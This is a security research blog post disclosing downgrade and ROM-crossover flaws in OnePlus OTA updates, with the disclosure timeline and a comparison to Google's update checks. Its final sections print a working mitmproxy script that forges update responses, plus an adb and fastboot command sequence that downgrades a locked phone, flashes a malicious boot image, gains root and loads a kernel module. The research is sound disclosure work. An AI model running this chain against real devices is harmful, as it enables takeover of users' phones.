In this blog post we present new trivial vulnerabilities found on OnePlus One/X/2/3/3T OxygenOS & HydrogenOS. They affect the latest versions (4.1.3/3.0) and below. The vulnerabilities allow for a Man-in-the-Middle (MitM) attacker to intervene in the OTA update process in order downgrade OxygenOS/HydrogenOS to older versions and even to replace OxygenOS with HydrogenOS (and vice versa), both without a factory reset, allowing for exploitation of now-patched vulnerabilities. Moreover, the OnePlus X ROM can be installed over OnePlus One and vice versa, leading to Denial-of-Service. In addition, the vulnerabilities can also be exploited by physical attackers allowing for easy exploitation of some of the vulnerabilities we previously disclosed.

On OnePlus 3/3T devices, the physical attack vector only works if Full Disk Encryption (FDE) is off, however the attack can also be carried on 3/3T devices with a lock-screen password, in other words, on devices without Secure Start-up. As for the MiTM attack vector, there is some user interaction, however, it’s identical to normal OTA updates (see the video below).

We responsibly reported the issues to OnePlus Security on January 26 2017, but unfortunately OnePlus did not meet the 90-day disclosure deadline. We also offered OnePlus a 14-day deadline extension on April 9 2017 – to date, the vulnerabilities are still unpatched.

Android Over-the-Air (OTA) Updates

Before we dive into the vulnerabilities themselves, we will briefly describe some fundamental properties of Android OTA updates.

An OTA update package (OTA from now forward) is a digitally-signed zip file. For instance, let’s take a peek inside the OnePlus 3T OxygenOS 4.1.3 OTA:

[OnePlus3TOxygen_28_OTA_051_all_1704112011_37887cb1a1674e96.zip]
|-[firmware-update]
| |-adspo.bin
| |-BTFM.bin
| | ...
| |-xbl.elf
|-[META-INF]
| |-[com]
| | |-[android]
| | |   |-metadata
| | |   |-otacert
| | |-[google]
| | |   |-[android]
| | |     |-update-binary
| | |     |-updater-script
| | |-CERT.RSA
| | |-CERT.SF
| | |-MANIFEST.MF
|-[RADIO]
| |-static_nvbk.bin
|-boot.img
|-system.new.dat
|-system.patch.dat
|-system.transfer.list

The certificate is placed under the zip file comment section. For instance, here is the certificate information of the above OTA. (Code ripped from AOSP that dumps this information from OTAs can be found at our GitHub repo):

[
[
  Version: V3
  Subject: [email protected], CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
  Signature Algorithm: SHA1withRSA, OID = 1.2.840.113549.1.1.5

  Key:  Sun RSA public key, 2048 bits
  modulus: 21782805982387604296177070558336721596139005446288723067155752163060792380674168867037042947231871073026199285191589145422985653024885912114232501728960485537295757065919823657047639632148900013404463345326544461336513939147374876134404121142889741951640510899702259729165661805139333278902636992457095433133347780277399353003580189254321487407006771970545005048138096247493483531854783558052139733050104561657073649276210148865047914913333134709047948566674685019932243721554882027423434454367214953672853971042721390979787114912126356134857835410974311137034806029347546023477339683453557505891865401866434288135873
  public exponent: 65537
  Validity: [From: Thu May 07 10:25:19 IDT 2015,
               To: Mon Sep 22 10:25:19 IDT 2042]
  Issuer: [email protected], CN=OnePlus, OU=SW, O=OnePlus, L=Shenzhen, ST=Guangdong, C=CN
  SerialNumber: [    8abe4e1a e1d847f1]

Certificate Extensions: 3
[1]: ObjectId: 2.5.29.35 Criticality=false
AuthorityKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D   9F 0F 92 DD 48 01 13 31  Ta.....M....H..1
0010: A8 49 AE 64                                        .I.d
]
]

[2]: ObjectId: 2.5.29.19 Criticality=false
BasicConstraints:[
  CA:true
  PathLen:2147483647
]

[3]: ObjectId: 2.5.29.14 Criticality=false
SubjectKeyIdentifier [
KeyIdentifier [
0000: 54 61 E2 B1 A9 15 E1 4D   9F 0F 92 DD 48 01 13 31  Ta.....M....H..1
0010: A8 49 AE 64                                        .I.d
]
]

]
  Algorithm: [SHA1withRSA]
  Signature:
0000: 25 AD 49 5A DE A9 8E 3B   65 DA 3E D4 B0 58 D9 0A  %.IZ...;e.>..X..
0010: E2 44 DD E2 49 8C EA 26   88 87 61 A0 C4 F3 A9 70  .D..I..&..a....p
0020: BD 58 2E 7D 64 B4 27 6B   20 98 BD 87 52 8E 7D FE  .X..d.'k ...R...
0030: BF B1 38 03 F7 4B DB 53   0C 0A 0C BE 94 55 EC 99  ..8..K.S.....U..
0040: 68 1E CD 30 D0 B7 81 53   7E 17 DB 87 29 74 3F 6B  h..0...S....)t?k
0050: 06 A6 E2 74 91 02 CC 6D   E2 25 25 EB F0 6E B9 4E  ...t...m.%%..n.N
0060: E8 2A D7 24 23 65 8A F6   98 5F 05 F7 A9 DB 42 48  .*.$#e..._....BH
0070: 92 AC 76 0A 37 C1 58 69   52 E9 C5 AA 30 CA B5 6E  ..v.7.XiR...0..n
0080: D3 65 41 5A B6 91 1C 33   87 76 20 F2 8F 7C 87 77  .eAZ...3.v ....w
0090: 97 F8 1D 1E 80 2E A1 B9   8E 90 3B 8E 55 1D FA 1F  ..........;.U...
00A0: 01 B3 09 90 CC 8F 17 33   F0 E9 82 3C BC 83 66 44  .......3...<..fD
00B0: 96 30 89 2B 2F AB B0 D1   09 A4 A8 6F EF CD D3 57  .0.+/......o...W
00C0: D6 96 04 D0 DD AC AA 9F   A7 9E 1A EA 3D D9 D5 D8  ............=...
00D0: 18 C1 72 7B E6 6F A5 27   D9 25 B0 A8 41 4C A2 AC  ..r..o.'.%..AL..
00E0: 35 E4 61 47 B0 34 C3 73   DE 8E EB FA D7 FF CC 0D  5.aG.4.s........
00F0: 88 AA 93 50 A9 10 81 7E   6A 42 2A B8 9B F2 44 B7  ...P....jB*...D.

]

Once the OTA has been downloaded and verified (the certificate public key must be one of the keys placed in /system/etc/security/otacerts.zip), the platform reboots to ‘recovery mode’, which verifies it once again (this time the certificate public key must be one of the keys placed in /res/keys). Then a script, updater-script (provided in the OTA) which is in charge of the update process, is interpreted by update-binary (also provided in the OTA). Another vector for pushing OTAs is sideloading them via the recovery mode UI, which is also possible on devices with a locked bootloader – hence the digital signature prevents both remote and physical attackers from providing malicious OTAs.

Potential Vulnerabilities

There are 3 potential vulnerabilities with the OTA verification process described above:

1. Downgrades. Nothing verifies the OTA date against the installed build date.
2. Crossover to a different product’s ROM. While the OTA and the vendor are bound together (through the keys), there is no binding between OTA and the product. What prevents an OTA of one product to be installed on another product, of the same vendor?
3. Crossover to another ROM of the same product. Some vendors distribute different flavors of Android (different ROMs) for the same product. For example, OnePlus OxygenOS (global) and OnePlus HydrogenOS (china). What guarantees that an OTA of one ROM wouldn’t be installed over a current installation of another?

We will now elaborate on each of the potential vulnerabilities, and see how Google Nexus & Pixel avoid them (where relevant).

Downgrade Attacks

An unauthorized OS downgrade is extremely problematic as it enables exploitation of now-patched vulnerabilities. Consider our previous OnePlus findings, CVE-2017-5622, CVE-2017-5624 and CVE-2017-5626. Those vulnerabilities, patched in recent OxygenOS versions, allowed a malicious charger to unlock the bootloader without a factory reset & also disable dm-verity – being able to downgrade the OS renders the patches completely useless.

There are 3 different goals that attackers can achieve by downgrading the OS, and exploiting old vulnerabilities:

1. Subvert confidentiality: Exfiltrate user data.
2. Subvert integrity: Execute code on the device for other purposes.
3. Unlock/jailbreak the device.

The third goal is different, in the sense that it implies a stricter threat model. iPhones fall under that category, always preventing downgrades (except for a short window of time after a new version is released). The Nexus / Pixel devices, however, are more lenient, being unlockable handsets. Since the third threat is irrelevant for them, they allow OS downgrades, however only if they are in the ‘unlocked’ state. The security of downgrades (i.e. preventing the first and second threats) lies within the fact that transitioning from the locked->unlocked state requires user interaction, and yields a factory reset (i.e. losing user data).

Downgrade attacks are prevented in the Google Nexus/Pixel devices by their updater-script. For example, let’s take a look at an updater-script of a recent Nexus 6P OTA:

(!less_than_int(1488578051, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Fri Mar  3 21:54:11 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "angler" || abort("E3004: This package is for \"angler\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/angler/angler:7.1.2/N2G47H/3783593:user/release-keys");
show_progress(0.650000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/soc.0/f9824900.sdhci/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.100000, 0);     
[...]
ui_print("Patching vendor image unconditionally...");
[...]
set_progress(1.000000);

We can clearly see that it prevents installation on devices with a newer image, by comparing the value of the ro.build.date.utc system property with a hard-coded value. In addition, it also prohibits installation on non-Nexus6P (angler) devices, by comparing the ro.product.device system property to angler.

Another way for preventing OTA downgrades is to change the OTA keys for every release. In addition, please note that, at least for MSM-based devices, executing downgraded code (but not the partition flashing!) could also be prevented further by the bootloader itself upon boot – by the SW_ID OU field. However, at least on Pixel/Nexus devices, this is generally not used (different images have SW_ID with a VERSION field set to 0), probably in order to allow for devices to be downgraded if unlocked. Furthermore, using this approach requires a new bootloader to be bundled with every OTA, which is inconvenient.

Different Product ROM Crossover

Upgrading a product with another product’s OTA has unexpected results, such as making the OS unusable due to various reasons including hardware incompatibilities between products and per product OEM key which would cause Verified Boot to fail. Such crossover can be prevented by having the vendor generate per-product unique OTA key pair. Google does that for all products (but not for different models, see next). The following shows the /res/keys file taken from the latest recovery images of various Google products:

We can observe that:

1. volantis/g (different models of Nexus 9) have the same key.
2. razor/g (different models of Nexus 7 2013) have a shared key.

Therefore, there must be another protection layer – updater-script. For example, the following scripts are of recent volantis/g OTAs. Notice the ro.product.device system property check:

updater-script of the latest volantis OTA:

(!less_than_int(1490642563, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:22:43 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder" || abort("E3004: This package is for \"flounder\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantis/flounder:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]

updater-script of the latest volantisg OTA:

(!less_than_int(1490642587, getprop("ro.build.date.utc"))) || abort("E3003: Can't install this package (Mon Mar 27 19:23:07 UTC 2017) over newer build (" + getprop("ro.build.date") + ").");
getprop("ro.product.device") == "flounder_lte" || abort("E3004: This package is for \"flounder_lte\" devices; this is a \"" + getprop("ro.product.device") + "\".");
ui_print("Target: google/volantisg/flounder_lte:7.1.1/N4F27B/3853226:user/release-keys");
show_progress(0.650000, 0);
[...]

Please note that, at least for MSM-based devices, such crossovers could also be prevented further by the bootloader itself upon boot – by the HW_ID property if different models contained a different HW_ID.

Same Product ROM Crossover

Being able to install an OTA of a different ROM means that the adversary could potentially increase the attack surface (additional software). Moreover, different ROMs may have different security patch levels. For example, the latest OxygenOS ROM for OnePlus 3T has the 03-01-2017 Security Patch Level while the latest non-beta HydrogenOS ROM for OnePlus 3T has the 12-01-2016 Security Patch Level. Many vulnerabilities have been patched since then.

Preventing such upgrades could be done, again, by the updater-script – simply check some system property that identifies the installed ROM.

The OnePlus Vulnerabilities

First, let’s examine the RSA modulus of various OnePlus OTAs:

We can clearly see that all OnePlus OTAs of different ROMs and products are signed by the same key. Therefore, the aforementioned vulnerabilities could only be prevented by their updater-script.

Let’s examine updater-script of the OnePlus 3T OxygenOS 4.1.3 OTA:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Now let’s examine updater-script of an older OnePlus 3T OxygenOS OTA. For example, 4.0.0’s:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Therefore, in contrast to Google’s OTAs, the OnePlus ones do not verify the timestamp of the installed images, and together with the fact that the SW_ID.VERSION OU field of the relevant images is set to 0, we have a critical Downgrade vulnerability - CVE-2017-5948.

Let’s examine updater-script of the OnePlus 3T HydrogenOS 3.0.0 OTA:

getprop("ro.display.series") == "OnePlus 3T" || abort("E3004: This package is for \"OnePlus 3T\" devices; this is a \"" + getprop("ro.display.series") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/bootdevice/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat") ||
  abort("E1001: Failed to update system image.");
show_progress(0.050000, 10);
[...]

Therefore, HydrogenOS can be installed over OxygenOS and vice versa - Same Product ROM Crossover Vulnerability - CVE-2017-8850.

Finally, let’s examine updater-script of the latest OnePlus X OxygenOS OTA:

getprop("ro.build.product") == "OnePlus" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");
block_image_update("/dev/block/platform/msm_sdcc.1/by-name/system", package_extract_file("system.transfer.list"), "system.new.dat", "system.patch.dat");

Let’s examine updater-script of the OnePlus One OxygenOS OTA:

getprop("ro.build.product") == "OnePlus" || getprop("ro.build.product") == "ONE" || abort("This package is for \"OnePlus\" devices; this is a \"" + getprop("ro.build.product") + "\".");
ifelse(is_mounted("/system"), unmount("/system"));
mount("ext4", "EMMC", "/dev/block/platform/msm_sdcc.1/by-name/system", "/system", "");
unmount("/system");
show_progress(0.750000, 0);
ui_print("Patching system image unconditionally...");

Therefore we can deduce that OnePlus One OTAs can be installed over OnePlus X and vice versa - Different Product ROM Crossover - CVE-2017-8851. By exploiting this vulnerability, installing the OnePlus One OxygenOS OTA over OnePlus X, our device had got into a boot loop (it rebooted once the platform was up), which was only remedied by a factory reset.

The only remaining question left is how the attacker can push those OTAs to the device.

Attack Vector 1: Man-in-the-Middle (MiTM)

Interestingly, Sagi Kedmi and also independently the community, have discovered that OnePlus pushes the signed-OTA over HTTP, thus it enables a trivial MiTM attack. We have filed CVE-2016-10370 for this, as there is absolutely no reason not to use TLS, unnecessarily increasing the attack surface, as we can see next.

OxygenOS/HydrogenOS sends the following JSON request to http://otac.h2os.com/post/Query_Update or to http://i.ota.coloros.com/post/Query_Update in order to check if a new OTA is available:

{
    "beta": "0",
    "imei": "<IMEI>",
    "isOnePlus": "1",
    "language": "en",
    "mobile": "ONEPLUS A3010",
    "mode": "0",
    "ota_version": "<CURRENT_VERSION>",
    "type": "1",
    "version": "1"
}

For example, on a OnePlus 3T device running OxygenOS 4.1.1 this results in the following response, announcing that a 4.1.3 OTA is available:

{
    "active_url": "http://otafsc1.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "description": "https://otafsc.h2os.com/html/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011_version_EN_1492072442240.html",
    "down_url": "http://otafsc.h2os.com/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "extract": "#OS Version: OnePlus3TOxygen_28_170411\n##WHAT'S NEW\n\\\n\u2022 Upgraded Android 7.1.1 \n\\\n\u2022 Added expanded screenshots \n\\\n\u2022 Improved picture taking of moving objects\n  with blur reduction \n\\\n\u2022
Improved video stability when recording\n\\\n\u2022 Improved WiFI connectivity \u00a0\n\\\n\u2022 Improved bluetooth connectivity \n\\\n\u2022 Fixed Instagram swiping bug\n\\\n\u2022 Fixed hardware
buttons\u00a0malfunction\u00a0bug\n\\\n\u2022 Increased system stability\n\\\n\u2022 General bug fixes\n  [www.oneplus.net](http://www.oneplus.net/)",
    "new_version": "OnePlus3TOxygen_28.A.51_GLO_051_1704112011",
    "patchFilePath": "/patch/amazone2/GLO/OnePlus3TOxygen/OnePlus3TOxygen_28.A.51_GLO_051_1704112011/OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "patch_md5": "031507863135b7008c2651ea461d0e9e",
    "patch_name": "OnePlus3TOxygen_28_OTA_051_all_1704112011_d6f79637e1c.zip",
    "patch_size": "1461187808",
    "recommend": "100",
    "share": "\u8bf7\u7528\u82f1\u8bed\u8bbe\u7f6e\u5206\u4eab\u5185\u5bb9",
    "type": "1",
    "version_name": "OnePlus3TOxygen_28_1704112011",
    "wipe": "0"
}

This JSON response causes the updater app to display the following UI: Consider the following mitmproxy script:

URL = "<url>"
MD5 = "<md5>"
SIZE= "<size>"

def response(flow):
  if "h2os" in flow.request.pretty_url or "coloros" in flow.request.pretty_url:
    print(flow.request.pretty_url)
    flow.response.status_code=200
    flow.response.headers["Content-Type"] = "application/json;charset=UTF-8"
    flow.response.headers["Connection"] = "close"
    flow.response.content = b"{\"type\":\"1\",\
                               \"wipe\":\"0\",\
                               \"new_version\":\"foo\",\
                               \"version_name\":\"foo!\",
                               \"description\":\"foo\",\
                               \"extract\":\"foo\",\
                               \"patch_name\":\"foo.zip\",\
                               \"patch_md5\":\"%s\",\
                               \"patch_size\":\"%s\",\
                               \"down_url\":\"%s\",\
                               \"active_url\":\"%s\",\
                               \"recommend\":\"100\",\
                               \"share\":\"foo\"}" % (MD5, SIZE, URL, URL)

This will make the Updater app download the OTA from the attacker’s provided URL, and will reboot into recovery when the user clicks on the restart button.

Attack Vector 2: Sideloading via Recovery

In addition to the MiTM attack vector, a physical attacker may also exploit this vulnerability, by rebooting into recovery and sideloading the OTA. Please note that as for OnePlus 3/3T, this vector is blocked if Secure Start-up is enabled (i.e. Full Disk Encryption (FDE) with user credentials).

The following shows how we, by exploiting CVE-2017-5948, downgrade OnePlus 3T running OxygenOS 4.1.3 to 4.0.1 in order to exploit CVE-2017-5626 and gain a root shell and load an arbitrary kernel module.

First, let’s get some info regarding the running OS: (Not required for the attack.)

OnePlus3T:/ $ getprop ro.oxygen.version
getprop ro.oxygen.version
4.1.3

Now, the attacker reboots the device to recovery mode, and pushes the 4.0.1 OTA (exploiting CVE-2017-5948):

$ adb sideload OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip
loading: 'OnePlus3TOxygen_28_OTA_037_all_1701041831_a2ba632ce9.zip'...
connecting...
Total xfer: 2.00x
$ 

Next, the attacker exploits CVE-2017-5626 in order to replace the boot partition, even though the bootloader is locked:

$ fastboot oem device-info
...
(bootloader)    Device tampered: false
(bootloader)    Device unlocked: false
(bootloader)    Device critical unlocked: false
(bootloader)    Charger screen enabled: false
(bootloader)    Display panel:
(bootloader)    Have console: false
(bootloader)    Selinux type: <none>
(bootloader)    Boot_mode: normal
(bootloader)    Kmemleak_detect: false
(bootloader)    force_training: false
OKAY [  0.120s]
finished. total time: 0.120s

$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.404s]
writing 'boot'...
FAILED (remote: Partition flashing is not allowed)
finished. total time: 0.424s

$ fastboot oem 4F500301
...
OKAY [  0.020s]
finished. total time: 0.020s

$ fastboot flash boot evilboot.img
target reported max download size of 440401920 bytes
sending 'boot' (14836 KB)...
OKAY [  0.399s]
writing 'boot'...
OKAY [  0.136s]
finished. total time: 0.535s

Finally, the attacker gains a root shell and inserts a malicious LKM. Notice that we are at OxygenOS 4.0.1.

$ fastboot reboot
$ adb push evil.ko /data/local/tmp
$ adb shell
OnePlus3T:/ # getprop ro.oxygen.version
getprop ro.oxygen.version
4.0.1
OnePlus3T:/ # id
id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0
OnePlus3T:/ # getenforce
getenforce
Permissive
OnePlus3T:/ # insmod /data/local/tmp/evil.ko
insmod /data/local/tmp/evil.ko
OnePlus3T:/ # dmesg | grep -i hello
dmesg | grep -i hello
[20170511_08:11:09.895120]@3 Hello from Evil LKM!
OnePlus3T:/ #